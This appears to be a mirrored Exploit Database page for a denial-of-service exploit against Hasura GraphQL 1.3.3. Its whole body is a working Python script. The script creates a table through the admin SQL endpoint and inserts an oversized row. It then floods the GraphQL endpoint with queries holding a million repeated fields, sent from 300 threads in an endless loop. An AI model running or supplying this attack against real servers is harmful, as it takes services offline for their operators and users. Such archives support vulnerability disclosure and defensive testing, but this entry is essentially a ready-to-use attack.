Hasura GraphQL 1.3.3 – Denial of Service

• Exploit Database
• 15 阅读

• 作者： Dolev Farhi
  日期： 2021-04-21
• 类别：

  • dos
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/49789/

• # Exploit Title: Hasura GraphQL 1.3.3 - Denial of Service
  # Software: Hasura GraphQL
  # Software Link: https://github.com/hasura/graphql-engine
  # Version: 1.3.3
  # Author: Dolev Farhi
  # Date: 4/19/2021
  # Tested on: Ubuntu
  
  import sys
  import requests
  import threading
  
  HASURA_SCHEME = 'http'
  HASURA_HOST = '192.168.1.1'
  HASURA_PORT = 80
  THREADS = 300
  
  def create_table():
  data = {"type":"bulk","args":[{"type":"run_sql","args":{"sql":"CREATE TABLE \"public\".\"test_db\"(\"test\" text NOT NULL, PRIMARY KEY (\"test\") );","cascade":False,"read_only":False}},{"type":"add_existing_table_or_view","args":{"name":"test_db","schema":"public"}}]}
  endpoint = '{}://{}:{}/v1/query'.format(HASURA_SCHEME, HASURA_HOST, HASURA_PORT)
  r = requests.post(endpoint, json=data)
  return r
  
  def insert_row():
  bomb = 'A' * 100000
  data = {"type":"insert","args":{"table":{"name":"test_db","schema":"public"},"objects":[{"test":bomb}],"returning":[]}}
  endpoint = '{}://{}:{}/v1/query'.format(HASURA_SCHEME, HASURA_HOST, HASURA_PORT)
  r = requests.post(endpoint, json=data)
  return r
  
  def DoS():
  dups = 'test \n ' * 1000000
  data ={'query': 'query { test_db { ' + dups + '} }'}
  endpoint = '{}://{}:{}/v1/graphql'.format(HASURA_SCHEME, HASURA_HOST, HASURA_PORT)
  r = requests.post(endpoint, json=data)
  return r
  
  if not create_table().ok:
  print('something went wrong, could not create table.')
  sys.exit(1)
  
  if not insert_row().ok:
  print('something went wrong, could not insert row')
  sys.exit(1)
  
  while True:
  for _ in range(THREADS):
  print('Starting')
  t = threading.Thread(target=DoS, args=())
  t.start()